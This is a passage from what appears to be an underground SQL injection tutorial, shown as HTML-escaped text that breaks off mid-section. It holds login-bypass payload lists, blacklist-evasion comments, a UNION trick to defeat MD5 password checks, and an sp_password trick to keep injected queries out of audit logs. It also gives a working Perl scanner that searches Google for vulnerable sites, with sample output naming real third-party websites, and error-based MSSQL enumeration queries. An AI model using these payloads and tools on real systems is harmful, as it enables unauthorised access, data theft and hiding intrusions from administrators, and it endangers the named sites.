&amp;nbsp;&amp;nbsp;&amp;nbsp; News: 1&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Details: SQL injection attack infects hundreds of thousands of websites ...&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; News: 2&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Details: Preventing blind SQL injection attacks, Most security professionals know ...&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; News: 3&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Details: Mass SQL injection, There&#39;s another round of mass SQL injections going on which has infected ...&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; News: 4&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Details: New Botnet Malware Spreading SQL injection attack tool ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; That&#39;s Great !! Can you see something different from original URL ? (It&#39;s Vuln in SQL Injection Attacks),&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; It&#39;s return all query from DB, Why ??&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [ASP_code]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; var sql = &quot;SELECT * FROM news WHERE id = &#39;&quot; + getid +&quot;&#39;&quot;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [End ASP_code]&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [Final query //id=2]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM news WHERE id = &#39;2&#39; // It&#39;s will return News 2&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [End id=2]&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [Final query //id=2&#39; or &#39;a&#39;=&#39;a] // Testing SQLi Vuln&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM news WHERE id = &#39;2&#39; or &#39;a&#39;=&#39;a&#39; // It&#39;s include &#39; or &#39;a&#39;=&#39;a into SQL statement and the condition is TRUE,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; // So It will return all news (id=1,2,3,...)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [End id=2&#39; or &#39;a&#39;=&#39;a]&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x01c] - Bypass Authentication with SQL Injection&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; This basic technique for &quot;bypass Login&quot; when application use DB to checking authentication.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; However, an attacker may possibly bypass this check with SQL injection.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [Example scripts]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; +-----------------------------+&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39; or 1=1 --&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; a&#39; or 1=1 --&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot; or 1=1 --&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; a&quot; or 1=1 --&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39; or 1=1 #&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot; or 1=1 #&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; or 1=1 --&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39; or &#39;x&#39;=&#39;x&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot; or &quot;x&quot;=&quot;x&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;) or (&#39;x&#39;=&#39;x&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;) or (&quot;x&quot;=&quot;x&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39; or username LIKE &#39;%admin%&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; +-----------------------------+&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; USERNAME: &#39; or 1/*&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; PASSWORD: */ =1 --&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; +-----------------------------+&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; USERNAME: admin&#39; or &#39;a&#39;=&#39;a&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; PASSWORD: &#39;#&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; +-----------------------------+&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [Login ASP_code]-----------------------------------------------------------------------------------&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; var sql = &quot;SELECT * FROM users WHERE username = &#39;&quot; + formusr + &quot;&#39; AND password =&#39;&quot; + formpwd + &quot;&#39;&quot;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [End Login ASP_code]-------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; When we input something like this:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; formusr = admin&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; formpwd = &#39; or &#39;a=&#39;a&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [SQL Query]---------------------------------------------------------------------------------&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM users WHERE username = &#39;admin&#39; AND password = &#39;&#39; or &#39;a&#39;=&#39;a&#39;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [End Code]----------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; This SQL condition is TRUE and bypass login process, So you don&#39;t need admin&#39;s password. (Just use &#39; or &#39;a&#39;=&#39;a)&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; If we input something like this&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; formusr = &#39; or 1=1 --&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; formpwd = anything&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [SQL Query]---------------------------------------------------------------------------------&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM users WHERE username = &#39;&#39; or 1=1 -- AND password = &#39;anything&#39;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [End Code]----------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ** Note **&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; -- is comment operator of MSSQL DB used to comment out everything following this operator.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; /*Comment*/ Inline comment, Comments out rest of the query by not closing them / Bypass blacklisting.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; DROP/*comment*/sampletable&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; DR/**/OP/*bypass blacklisting*/sampletable&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT/*avoid-spaces*/password/**/FROM/**/Members&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; If application is first getting the record by username and then compare returned MD5 with supplied password&#39;s&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; a known password and MD5 hash of supplied password. In this case application will compare your password and&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; your supplied MD5 hash instead of MD5 from database.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; formusr = admin&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; formpwd = pass &#39; AND 1=2 UNION ALL SELECT &#39;admin&#39;, &#39;1a1dc91c907325c69271ddf0c944bc72&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; 1a1dc91c907325c69271ddf0c944bc72 = MD(pass)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x01d] - Audit Log Evasion&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; When we injection some code with SQLi Techniques, All of the SQL queries can be logged and admin can know&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; what&#39;s happen ?&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; The technique for evade logging, We use &quot;sp_password&quot;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; formusr = &#39; or 1=1 -- sp_password&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; formpwd = anything&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL Server don&#39;t log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries, it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it&#39;s possible).&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x01e] - (Perl Script) SQL-Google searching vulnerable sites&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; The Good way to searching sites that have SQL injection vulnerability is &quot;Google&quot;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (That powerful to use every search engines to searching with IRCbots). We developed simple Perl script for searching SQL injection holes (MSSQL, Mysql, MS Access, Oracle) name &quot;SQL-Google Search&quot;:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Code:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; #!/usr/bin/perl&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; use LWP::Simple;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; use LWP::UserAgent;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; use HTTP::Request;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; my $sis=&quot;$^O&quot;;if ($sis eq &#39;MSWin32&#39;) { system(&quot;cls&quot;); } else { system(&quot;clear&quot;); }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; print &quot;+++++++++++++++++++++++++++++++\n&quot;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; print &quot;+ SQL - Google Search +\n&quot;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; print &quot;+ MafiarooT Underground +\n&quot;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; print &quot;+++++++++++++++++++++++++++++++\n\n&quot;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; print &quot;Insert Dork:&quot;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; chomp( my $dork = &lt;stdin&gt; );&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print &quot;Total Query Pages (10 Links/Pages) :&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; chomp( my $page = &lt;stdin&gt; );&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print &quot;\n[+] Result:\n\n&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for($start = 0;$start != $page*10;$start += 10)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $t = &quot;http://www.google.com/search?hl=en&amp;amp;q=&quot;.$dork.&quot;&amp;amp;btnG=Search&amp;amp;start=&quot;.$star;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ua = LWP::UserAgent-&amp;gt;new(agent =&amp;gt; &#39;Mozilla 5.2&#39;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ua-&amp;gt;timeout(10);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ua-&amp;gt;env_proxy;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $response = $ua-&amp;gt;get($t);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($response-&amp;gt;is_success)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $c = $response-&amp;gt;content;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; @stuff = split(/&amp;nbsp;&amp;nbsp;&amp;nbsp; foreach $line(@stuff)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if($line =~/(.*) class=l/ig)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $out = $1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $out =~ s/\&quot;//g;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $out =~s/$/\&#39;/;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ua = LWP::UserAgent-&amp;gt;new(agent =&amp;gt; &#39;Mozilla 5.2&#39;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ua-&amp;gt;timeout(10);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ua-&amp;gt;env_proxy;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $response = $ua-&amp;gt;get($out);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $error = $response-&amp;gt;content();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if($error =~m/mysql_/ || $error =~m/Division by zero in/ || $error =~m/Warning:/)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {print &quot;$out =&amp;gt; Could be Vulnerable in MySQL Injection!!\n&quot;;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; elsif($error =~m/Microsoft JET Database/ || $error =~m/ODBC Microsoft Access Driver/)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {print &quot;$out =&amp;gt; Could be Vulnerable in MS Access Injection!!\n&quot;;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; elsif($error =~m/Microsoft OLE DB Provider for SQL Server/ || $error =~m/Unclosed quotation mark/)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {print &quot;$out =&amp;gt; Could be Vulnerable in MSSQL Injection!!\n&quot;;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; elsif($error =~m/Microsoft OLE DB Provider for Oracle/)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {print &quot;$out =&amp;gt; Could be Vulnerable in Oracle Injection!!\n&quot;;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [output]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; +++++++++++++++++++++++++++++++&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; + SQL - Google Search +&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; + MafiarooT Underground +&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; +++++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Insert Dork:index.asp?sid=&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Total Query Pages (10 Links/Pages) :5&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [+] Result:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.ris.org.uk/index.asp?sid=7&amp;amp;mid=5&#39; =&amp;gt; Could be Vulnerable in MSSQL Injection!!&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.waterbucket.ca/rm/index.a...&amp;amp;sid=44&amp;amp;id=307&#39; =&amp;gt; Could be Vulnerable in MSSQL Injection!!&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.ilri.org/research/Index.asp?SID=4&#39; =&amp;gt; Could be Vulnerable in MSSQL Injection!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [End output]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[0x02] - MSSQL Normal SQL Injection Attack&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In this part we have four parts&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x02a] - ODBC Error Message Attack with &quot;HAVING&quot; and &quot;GROUP BY&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x02b] - ODBC Error Message Attack with &quot;CONVERT&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x02c] - MSSQL Injection with UNION Attack&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x02d] - MSSQL Injection in Web Services (SOAP Injection&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x02a] - ODBC Error Message Attack with &quot;HAVING&quot; and &quot;GROUP BY&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We can use information from error message produced by the MS SQL Server to get almost any data we want.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; - &quot;GROUP BY&quot; is a microsoft sql server command used to group output of particular sql query.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; - &quot;HAVING&quot; is a command used to specify a search condition for a group or an aggregate.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; this command is always used with &quot;GROUP BY&quot; otherwise the error will return.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; As the operation of these two commands, we can take advantage of them in order to&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; obtain particular table name and all column names of this table. We will explain you by using an example.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; First, The target has a table called &quot;news&quot; and in news, there are three columns, which are news_id,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; news_author and news_detail.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The vulnerable page is http://www.example.com/page.asp?id=1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The query in this page is something like :&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var query = &quot;SELECT * FROM news WHERE news_id= &#39;&quot; + column+ &quot;&#39;&quot;;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; So, we can inject HAVING command in order to observe returned error&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1&#39; HAVING 1=1--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The query will be&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM news WHERE news_id=&#39;1&#39; HAVING 1=1--&#39;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We will get the error as following:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Microsoft OLE DB Provider for SQL Server error &#39;80040e14&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [Microsoft][ODBC SQL Server Driver][SQL Server]Column &#39;news.news_id&#39; is invalid in&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; the select list because it is not contained in an aggreate function and there is no GROUP BY clause.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In this error, we know table name = &quot;news&quot;, used in this page and&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; one column name = &quot;news_id&quot;, contained in particular table.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The error is originate from using HAVING command without GROUP BY command.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Moreover, we can get the other column names by using combination of GROUP BY and HAVING command.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1&#39; GROUP BY news.news_id HAVING 1=1--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The query will be&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM news WHERE news_id=&#39;1&#39; GROUP BY news.news_id HAVING 1=1--&#39;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We will get the error&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Microsoft OLE DB Provider for SQL Server error &#39;80040e14&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [Microsoft][ODBC SQL Server Driver][SQL Server]Column &#39;news.news_author&#39; is invalid in&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; the select list because it is not contained in an aggreate function and there is no GROUP BY clause.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now, we know the second column name of table1 = &quot;news_author&quot;. The third column name can be obtained by adding&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; the second column name in the previous query :&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1&#39; GROUP BY news.news_id,news.news_author HAVING 1=1--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The query will be&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM news WHERE news_id=&#39;1&#39; GROUP BY news.news_id,news.news_author HAVING 1=1--&#39;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The request will generate following error&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Microsoft OLE DB Provider for SQL Server error &#39;80040e14&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [Microsoft][ODBC SQL Server Driver][SQL Server]Column &#39;news.news_detail&#39; is invalid in&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; the select list because it is not contained in an aggreate function and there is no GROUP BY clause.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The third column name = &quot;news_detail&quot;, pops up in returned error. If we had more columns,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; we could add news_detail in GROUP BY clause of previous request then we could get the forth column name.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; When we added all of column in GROUP BY clause, we will get normal result and we absolutely know that we&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; obtained all column name in table1.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; As this example, the request below will generate no error.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1&#39; GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The query will be&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM news WHERE news_id=&#39;1&#39; GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--&#39;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; As no error return, we know that table1 consists of three columns which are &quot;news_id&quot;, &quot;news_author&quot; and &quot;news_detail&quot;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x02b] - ODBC Error Message Attack with &quot;CONVERT&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In our opinion, MSSQL expresses much information in returned error. It is useful for programmers to debug their&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; application meanwhile it is valuable for many attackers, as seeing in previous section.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In this section, we provide another method of utilizing from MSSQL error through a command called &quot;convert&quot;.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; convert command is used to convert between two data type and when the specific data cannot convert to another&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; type, this command will return error. let see through an example:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In this example, we show you how to obtain MSSQL_Version, DB_name, User_name.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 and 1=convert(int,@@version)--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Error Message returned:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Microsoft SQL Native Client error &#39;80040e07&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Conversion failed when converting the nvarchar value &#39;Microsoft SQL Server 2003 - 9.00.3042.00 (Intel X86) Feb&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 9 2007&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service&lt;br 